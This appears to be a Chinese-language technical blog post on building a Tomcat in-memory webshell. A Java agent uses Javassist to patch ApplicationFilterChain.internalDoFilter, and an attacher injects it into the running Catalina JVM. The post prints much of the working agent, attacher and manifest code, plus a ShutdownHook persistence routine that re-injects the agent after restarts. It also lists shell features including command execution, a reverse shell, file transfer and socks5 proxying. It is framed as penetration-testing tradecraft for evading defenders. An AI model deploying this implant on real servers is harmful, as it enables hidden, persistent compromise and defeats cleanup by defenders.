Tomcat内存马
背景
在渗透过程中,经常会碰到文件Shell被防守方删除,所以需要将shell写到内存当中,让防守方难以检测。
原理
常见的Tomcat内存马有:通过反序列化+reflect(反射)对Tomcat中internalDoFilter类进行方法修改,通过Java Agent在服务器端上传两个Jar对Tomcat中internalDoFilter类进行方法修改等。尽管应用场景条件不同,但本质上内存马都是对在内存上运行的特定类的方法动态修改,所以一般重启后就会失效。
在这里主要讲一下基于Java Agent+Javassist的内存马,反序列化的内存马还在复现过程中。
技术
动态字节码技术
Java代码都是要被编译成字节码后才能放到JVM里执行的,字节码文件(.class)就是普通的二进制文件,它是通过Java编译器生成的。而只要是文件就能被改变,如果用特定的规则解析了原有的字节码文件,对它进行修改或者干脆重新定义,就可以实现改变代码行为了。动态字节码优势在于Java字节码生成之后,对其进行修改,增强其功能,这种方式相当于对应用程序的二进制文件进行修改。
Java生态里有很多可以动态处理字节码的技术,比较流行的有两个:ASM和Javassist。
- ASM:直接操作字节码指令(比如openRASP用的就是这个)
- Javassist:提供高级API,虽然效率低了但是无需掌握字节码指令的知识。(在这里使用这个)
Java Agent
通过Java Instrumentation可以构建一个
独立于应用程序的代理程序(Agent),用来检测和协助运行在JVM上的程序。
Java Agent提供两种方式:premain和agentmain
- premain:启动前带参数的前置代理
java -javaagent:jar 文件的位置 [= 传入 premain 的参数 ]
- agentmain:运行时附着到JVM实现动态代理
为了方便,用agentmain的时候要用到两个jar。
agent.jar(进行动态字节码修改的核心包),inject.jar(用来将agent.jar附着到相应的JVM)
java -jar inject.jar <args>//在inject.jar中指定了读取agent.jar。
实现
工程结构
我这里创了两个工程:reAgent和reInject
- reAgent
- src.main
- java
- net.sorry.agent
- redefine(
Servlet的一些重写配合一句话食用)- Myrequest.java
- ······
- Evaluate.java(
JSP一句话) - Proxy.java(
内嵌reGeorg实现socks5代理转发) - reAgent.java(
agentmain具体方法和一些初始化功能函数) - reTransformer.java(
用Javassist进行类的修改与重载) - Shell.java(
主要功能函数,命令执行等)
- redefine(
- net.sorry.agent
- resources
- lib(
依赖) - META-INF(
MANIFEST.MF中对Java Agent的入口及功能指定) - other(
Windows下删除被占用的agent.jar程序) - source.txt(
插入的代码)
- lib(
- java
- pom.xml(maven配置)
- src.main
- reInject
- src.main
- java
- net.sorry.attach
- reAttach.java(
实现将reAgent.jar attach到Tomcat的JVM上)
- reAttach.java(
- net.sorry.attach
- java
- src.main
核心实现过程
确定要重写的关键类
想要实现访问Web服务器上的任意一个url(静态、JSP、原生servlet、struts action),甚至是否存在。只要请求递给Tomcat,Tomcat就能执行指令。在rebeyond的memshell中,以及其他师傅们大多都是利用的org.apache.cataline.core.ApplicationFilterChain类中的internalDoFilter方法,原因就在于每一个url匹配模式对应于一个ApplicationFilterChain对象,而我们想要植入的shell又肯定要搭配Request和Response食用。
{%note light%}
ApplicationFilterChain:用来处理特定的请求的过滤器集合(链),当这一条链做完的时候,doFilter()就会执行此servlet的service()方法跳转到它本身。
{%endnote%}
ApplicationFilterChain.java/*** 调用职责链上的下一个过滤器,传递特定的请求和响应。如果到结束的地方了* 则调用这个servlet本身的service()函数* Invoke the next filter in this chain, passing the specified request* and response. If there are no more filters in this chain, invoke* the <code>service()</code> method of the servlet itself.** @param request The servlet request we are processing* @param response The servlet response we are creating** @exception IOException if an input/output error occurs* @exception ServletException if a servlet exception occurs*/@Overridepublic void doFilter(ServletRequest request, ServletResponse response)throws IOException, ServletException {if( Globals.IS_SECURITY_ENABLED ) {final ServletRequest req = request;final ServletResponse res = response;try {java.security.AccessController.doPrivileged(new java.security.PrivilegedExceptionAction<Void>() {@Overridepublic Void run()throws ServletException, IOException {internalDoFilter(req,res);//链内部的循环遍历return null;}});} catch( PrivilegedActionException pe) {Exception e = pe.getException();if (e instanceof ServletException)throw (ServletException) e;else if (e instanceof IOException)throw (IOException) e;else if (e instanceof RuntimeException)throw (RuntimeException) e;elsethrow new ServletException(e.getMessage(), e);}} else {internalDoFilter(request,response);}}
在这里将会用到Javassist的ctmethod.insertBefore()方法将我们要插入的代码插到这段的最前面。正是因为这个方法的参数,被调用的条件比较适合插桩,所以才选择了它。
private void internalDoFilter(ServletRequest request,ServletResponse response)throws IOException, ServletException {// Call the next filter if there is oneif (pos < n) {ApplicationFilterConfig filterConfig = filters[pos++];Filter filter = null;try {filter = filterConfig.getFilter();support.fireInstanceEvent(InstanceEvent.BEFORE_FILTER_EVENT,filter, request, response);if (request.isAsyncSupported() && "false".equalsIgnoreCase(filterConfig.getFilterDef().getAsyncSupported())) {request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,Boolean.FALSE);}
reAgent.jar的实现
将对类中方法的遍历寻找,类的启动重写加载,以及一些的常量和入口类的初始化写到reAgent.java中。
reAgent.java(部分代码)public class reAgent {public static String className = "org.apache.catalina.core.ApplicationFilterChain";//类名public static byte[] injectFileBytes = new byte[] {};//reInject.jar的字节码public static byte[] agentFileBytes = new byte[]{};//reAgent.jar的字节码public static String currentPath;//当前路径,用与后面的写文件,删文件等public static String password = "re";//public static void agentmain(String agentArgs, Instrumentation inst){inst.addTransformer(new reTransformer(), true);//确定可以重编译if(agentArgs.indexOf("^") >= 0){//分离从reInject.jar中传来的参数currentPath = agentArgs.split("\\^")[0];password = agentArgs.split("\\^")[1];}else {currentPath = agentArgs;}System.out.println("Agent Main Done");Class[] loadedClasses = inst.getAllLoadedClasses();//获取正在运行的所有类for(Class c : loadedClasses){if(c.getName().equals(className)){try{System.out.println("[+]Message:Found Target Class: "+c.getName());inst.retransformClasses(c);//启动类的重写加载}catch (Exception e){e.printStackTrace();}}}try{initLoad();//初始化访问readInjectFile(currentPath);//读reInject.jarreadAgentFile(currentPath);//读reAgent.jar//clear(reAgent.currentPath);//删除本地reInject.jar和reAgent.jar}catch (Exception e){//为了隐蔽不打印}persist();//重启前将jar写入temp目录}······}
将对类的字节码具体操作写在reTransformer.java中,此类继承自Transformer。属于Javassist
reTransformer.java//继承重写public class reTransformer implements ClassFileTransformer {@Overridepublic byte[] transform(ClassLoader classLoader, String s, Class<?> aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException {//org/apache/catalina/core/ApplicationFilterChainif ("org/apache/catalina/core/ApplicationFilterChain".equals(s)) {try {System.out.println("[+]Message:Transformering Class: "+s);ClassPool cp = ClassPool.getDefault();//返回默认ClassPool是单例模式if(aClass !=null){ClassClassPath classPath = new ClassClassPath(aClass);//重定义类cp.insertClassPath(classPath);//载入重定义类}CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain");CtMethod m= cc.getDeclaredMethod("internalDoFilter");//获取指定方法System.out.println("[+]Message:Found Method " + m.getName());m.addLocalVariable("elapsedTime", CtClass.longType);//程序执行时间m.insertBefore("{" + readSource() + "}");//在方法起始位置插入代码//m.insertBefore(readSource());byte[] byteCode = cc.toBytecode();cc.detach();//释放内存return byteCode;} catch (Exception ex) {ex.printStackTrace();System.out.println("error::::" + ex.getMessage());}}return null;}//读payloadpublic String readSource() {StringBuilder source = new StringBuilder();InputStream is = reTransformer.class.getClassLoader().getResourceAsStream("source.txt");InputStreamReader isr = new InputStreamReader(is);String line = null;try{System.out.println("[+]The payload is:");BufferedReader br = new BufferedReader(isr);while((line=br.readLine()) != null){source.append(line);System.out.println(line);}}catch (Exception e){e.printStackTrace();}return source.toString();}}
reInject.jar的实现
Java agent可以在JVM启动后再加载,是通过Attach API实现的。Attach API不仅能够实现动态加载agent,也可以发送其他指令,例如jstack打印线程栈、jps列出Java进程、jmap做内存dump等功能。Attach API是由Sun公司提供的拓展API。
在reAttach.java中,使用Attach API用来向Tomcat的JVM附着reAgent.jar。
reAttach.javapublic class reAttach {public static void main(String[] args) throws Exception{if(args.length !=1){System.out.println("Usage:java -jar reInject.jar password");}else{VirtualMachine vm =null;//创建一个JVM对象List<VirtualMachineDescriptor> vmList = null;//关于JVM描述的List表//获取当前参数和路径String password = args[0];String currentPath = reAttach.class.getProtectionDomain().getCodeSource().getLocation().getPath();//System.out.println("oldforcurrentPath:"+currentPath);currentPath = currentPath.substring(0,currentPath.lastIndexOf("/")+1);currentPath = java.net.URLDecoder.decode(currentPath, "utf-8");//解决空格或中文//System.out.println("newcurrentPath:"+currentPath);String agentFile = currentPath + "reAgent.jar";//System.out.println("agentFile:"+agentFile);agentFile = new File(agentFile).getCanonicalPath();String agentArgs = currentPath;if(!password.equals("")||password != null){agentArgs = agentArgs + "^" + password;}while(true){while(true){try{vmList = VirtualMachine.list();if(vmList.size() > 0){Iterator var8 = vmList.iterator();while(var8.hasNext()){VirtualMachineDescriptor vmd =(VirtualMachineDescriptor)var8.next();if(vmd.displayName().indexOf("catalina") >= 0){System.out.println("[+]JVM's name is: "+vmd.displayName());vm = VirtualMachine.attach(vmd);//通过VirtualMachineDescriptor附着//vm = VirtualMachine.attach("7128");//通过JVM的pid附着System.out.println("[+]OK.i find a jvm.");Thread.sleep(1000L);System.out.println("[+]OK.now the path of Agent JAR is: "+agentFile);System.out.println("[+]OK.now the agentArgs is: "+agentArgs);if(vm != null){vm.loadAgent(agentFile,agentArgs);//指定reAgent.jar包的位置,发送给Tomcat的JVM进程。System.out.println("[+]shell is injected.");vm.detach();//注入完后卸载return;}}}Thread.sleep(3000);}}catch (Exception e){e.printStackTrace();}}}}//VirtualMachine vm = VirtualMachine.attach("7128");//vm.loadAgent("E:\\reAgent\\target\\sorry-1.0-SNAPSHOT-jar-with-dependencies.jar");}}
MANIFEST.MF
Manifest-Version: 1.0Agent-Class: net.sorry.agent.reAgent //代理类Can-Redefine-Classes: true //是否能够被重定义Can-Retransform-Classes: true //是否能替换,注意下面有个空行
Shell功能类
- 命令执行
- 反弹shell
- 远程下载文件
- 文件操作
- 下载文件
- 上传文件
- sockt5代理转发
- JSP一句话
功能全在Shell.java中。
复活技术
通过设置JVM的关闭钩子ShutdownHook来达到这个目的,ShutdownHook是JDK提供的一个用来在JVM关闭时清理现场的机制,这个钩子可以在以下场景中被JVM调用:
- 程序正常退出
- 使用System.exit()退出
- 用户使用Ctrl+C出发的中断导致的退出
- 用户注销或系统关机
- outofMemory导致的退出
- kill pid命令导致的退出
JVM关闭前,会通过调用writeFiles把reInject.jar和reAgent.jar写道磁盘上(Tomcat的临时目录),然后调用startInject,startInject通过Runtime.exec启动java -jar inject.jar
//重启前将jar写入临时文件夹public static void persist() {try {Thread t = new Thread() {public void run() {try {writeFiles("reInject.jar", injectFileBytes);writeFiles("reAgent.jar", agentFileBytes);startInject();} catch (Exception e) {}}};t.setName("shutdown Thread");Runtime.getRuntime().addShutdownHook(t);} catch (Throwable t) {}}
流程梳理
- 创建一个Instrumentation实例,重写的
premain或agentmain方法,达到类的重载和初始化定义。 - 重写Transformer,找到目标类的目标方法,利用javassist进行代码插桩。(调用代码最好写文本中,功能代码最好就放在Agent包里)
- 利用Attach API将Agent附着到目标JVM上,实现payload动态注入。
- 利用Tomcat的shutdownhook和文件读写,实现马的删除保存和启动运行
记坑
javassit.jar包版本问题
使用IDEA+Maven重构的工程,代码都写好编译通过之后。在将reAgent.jar附着到JVM上的时候。有两个报错,网上资料太少,故在此记录一下。
Tomcat报错Exception in thread "main" java.lang.reflect.InvocationTargetExceptionat sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)at java.lang.reflect.Method.invoke(Method.java:606)at sun.instrument.InstrumentationImpl.loadClassAndStartAgent(InstrumentationImpl.java:382)at sun.instrument.InstrumentationImpl.loadClassAndCallPremain(InstrumentationImpl.java:397)Caused by: java.lang.VerifyErrorat sun.instrument.InstrumentationImpl.retransformClasses0(Native Method)at sun.instrument.InstrumentationImpl.retransformClasses(InstrumentationImpl.java:144)at org.wso2.das.javaagent.instrumentation.Agent.agentmain(reAgent.java:57)... 6 more
reInject.jar 报错G:\>java -jar reInject.jar re[+]OK.i find a jvm: org.apache.catalina.startup.Bootstrap start[+]Now args are: G:\reAgent.jar,/G:/^recom.sun.tools.attach.AgentInitializationException: Agent JAR loaded but agent failed to initializeat sun.tools.attach.HotSpotVirtualMachine.loadAgent(HotSpotVirtualMachine.java:121)at AttachAgent.main(AttachAgent.java:43)
我一开始在Maven添加的javassist依赖是3.9版本,编译都通过了。但是Agent都是附着不上JVM。报错也是显示Agent JAR loaded but agent failed,没有更详细的信息。而后阅读JVM的附着源码后,觉得是版本太高和jre不搭,换了3.22版本后能够附着。
具体原因是:Javassist能够编译通过,但是JVM那边不认,所以有冲突。
在不同路径下执行jar
我一开始是在G盘根目录,正常运行的。但是放到带有空格或中文的路径下运行会提示找不到Agent JAR。解决方案在reAttach.java中添加:
currentPath = java.net.URLDecoder.decode(currentPath, "utf-8");//解决空格或中文
Tomcat的Djava.io.tmpdir设置问题
Windwos下,如果是通过startup.bat启动的Tomcat就没有问题,如果是通过窗口程序启动的。则需要添加参数-
复活技术的权限坑
Win10权限有问题,Windows Server和linux都测试过没问题了。
